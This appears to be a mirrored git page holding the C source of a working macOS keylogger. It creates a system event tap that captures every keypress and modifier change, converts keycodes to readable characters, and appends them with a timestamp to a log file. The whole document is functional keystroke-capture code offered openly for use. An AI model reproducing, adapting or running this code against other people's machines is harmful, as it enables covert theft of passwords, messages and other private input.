mirror of
https://github.com/caseyscarborough/keylogger.git
synced 2020-11-18 19:53:40 -08:00
180 lines
5.8 KiB
C
180 lines
5.8 KiB
C
#include "keylogger.h"
|
|
|
|
int main(int argc, const char *argv[]) {
|
|
|
|
// Create an event tap to retrieve keypresses.
|
|
CGEventMask eventMask = (CGEventMaskBit(kCGEventKeyDown) | CGEventMaskBit(kCGEventFlagsChanged));
|
|
CFMachPortRef eventTap = CGEventTapCreate(
|
|
kCGSessionEventTap, kCGHeadInsertEventTap, 0, eventMask, CGEventCallback, NULL
|
|
);
|
|
|
|
// Exit the program if unable to create the event tap.
|
|
if(!eventTap) {
|
|
printf("Unable to create event tap.\n");
|
|
exit(1);
|
|
}
|
|
|
|
// Create a run loop source and add enable the event tap.
|
|
CFRunLoopSourceRef runLoopSource = CFMachPortCreateRunLoopSource(kCFAllocatorDefault, eventTap, 0);
|
|
CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes);
|
|
CGEventTapEnable(eventTap, true);
|
|
|
|
// Clear the logfile if clear argument used or log to specific file if given.
|
|
if(argc == 2) {
|
|
if(strcmp(argv[1], "clear") == 0) {
|
|
fopen(logfileLocation, "w");
|
|
} else {
|
|
logfileLocation = argv[1];
|
|
}
|
|
}
|
|
|
|
// Get the current time and open the logfile.
|
|
time_t result = time(NULL);
|
|
logfile = fopen(logfileLocation, "a");
|
|
|
|
// Output to logfile.
|
|
fprintf(logfile, "\n\nKeylogging has begun.\n%s\n", asctime(localtime(&result)));
|
|
fflush(logfile);
|
|
|
|
// Display the location of the logfile and start the loop.
|
|
printf("Logging to: %s\n", logfileLocation);
|
|
fflush(stdout);
|
|
CFRunLoopRun();
|
|
|
|
return 0;
|
|
}
|
|
|
|
// The following callback method is invoked on every keypress.
|
|
CGEventRef CGEventCallback(CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon) {
|
|
if (type != kCGEventKeyDown && type != kCGEventFlagsChanged && type != kCGEventKeyUp) { return event; }
|
|
|
|
// Retrieve the incoming keycode.
|
|
CGKeyCode keyCode = (CGKeyCode) CGEventGetIntegerValueField(event, kCGKeyboardEventKeycode);
|
|
|
|
// Print the human readable key to the logfile.
|
|
fprintf(logfile, "%s", convertKeyCode(keyCode));
|
|
fflush(logfile);
|
|
|
|
return event;
|
|
}
|
|
|
|
// The following method converts the key code returned by each keypress as
|
|
// a human readable key code in const char format.
|
|
const char *convertKeyCode(int keyCode) {
|
|
switch ((int) keyCode) {
|
|
case 0: return "a";
|
|
case 1: return "s";
|
|
case 2: return "d";
|
|
case 3: return "f";
|
|
case 4: return "h";
|
|
case 5: return "g";
|
|
case 6: return "z";
|
|
case 7: return "x";
|
|
case 8: return "c";
|
|
case 9: return "v";
|
|
case 11: return "b";
|
|
case 12: return "q";
|
|
case 13: return "w";
|
|
case 14: return "e";
|
|
case 15: return "r";
|
|
case 16: return "y";
|
|
case 17: return "t";
|
|
case 18: return "1";
|
|
case 19: return "2";
|
|
case 20: return "3";
|
|
case 21: return "4";
|
|
case 22: return "6";
|
|
case 23: return "5";
|
|
case 24: return "=";
|
|
case 25: return "9";
|
|
case 26: return "7";
|
|
case 27: return "-";
|
|
case 28: return "8";
|
|
case 29: return "0";
|
|
case 30: return "]";
|
|
case 31: return "o";
|
|
case 32: return "u";
|
|
case 33: return "[";
|
|
case 34: return "i";
|
|
case 35: return "p";
|
|
case 37: return "l";
|
|
case 38: return "j";
|
|
case 39: return "'";
|
|
case 40: return "k";
|
|
case 41: return ";";
|
|
case 42: return "\\";
|
|
case 43: return ",";
|
|
case 44: return "/";
|
|
case 45: return "n";
|
|
case 46: return "m";
|
|
case 47: return ".";
|
|
case 50: return "`";
|
|
case 65: return "[decimal]";
|
|
case 67: return "[asterisk]";
|
|
case 69: return "[plus]";
|
|
case 71: return "[clear]";
|
|
case 75: return "[divide]";
|
|
case 76: return "[enter]";
|
|
case 78: return "[hyphen]";
|
|
case 81: return "[equals]";
|
|
case 82: return "0";
|
|
case 83: return "1";
|
|
case 84: return "2";
|
|
case 85: return "3";
|
|
case 86: return "4";
|
|
case 87: return "5";
|
|
case 88: return "6";
|
|
case 89: return "7";
|
|
case 91: return "8";
|
|
case 92: return "9";
|
|
case 36: return "[return]";
|
|
case 48: return "[tab]";
|
|
case 49: return " ";
|
|
case 51: return "[del]";
|
|
case 53: return "[esc]";
|
|
case 55: return "[cmd]";
|
|
case 56: return "[shift]";
|
|
case 57: return "[caps]";
|
|
case 58: return "[option]";
|
|
case 59: return "[ctrl]";
|
|
case 60: return "[shift]";
|
|
case 61: return "[option]";
|
|
case 62: return "[ctrl]";
|
|
case 63: return "[fn]";
|
|
case 64: return "[f17]";
|
|
case 72: return "[volup]";
|
|
case 73: return "[voldown]";
|
|
case 74: return "[mute]";
|
|
case 79: return "[f18]";
|
|
case 80: return "[f19]";
|
|
case 90: return "[f20]";
|
|
case 96: return "[f5]";
|
|
case 97: return "[f6]";
|
|
case 98: return "[f7]";
|
|
case 99: return "[f3]";
|
|
case 100: return "[f8]";
|
|
case 101: return "[f9]";
|
|
case 103: return "[f11]";
|
|
case 105: return "[f13]";
|
|
case 106: return "[f16]";
|
|
case 107: return "[f14]";
|
|
case 109: return "[f10]";
|
|
case 111: return "[f12]";
|
|
case 113: return "[f15]";
|
|
case 114: return "[help]";
|
|
case 115: return "[home]";
|
|
case 116: return "[pgup]";
|
|
case 117: return "[fwddel]";
|
|
case 118: return "[f4]";
|
|
case 119: return "[end]";
|
|
case 120: return "[f2]";
|
|
case 121: return "[pgdown]";
|
|
case 122: return "[f1]";
|
|
case 123: return "[left]";
|
|
case 124: return "[right]";
|
|
case 125: return "[down]";
|
|
case 126: return "[up]";
|
|
}
|
|
return "[unknown]";
|
|
}
|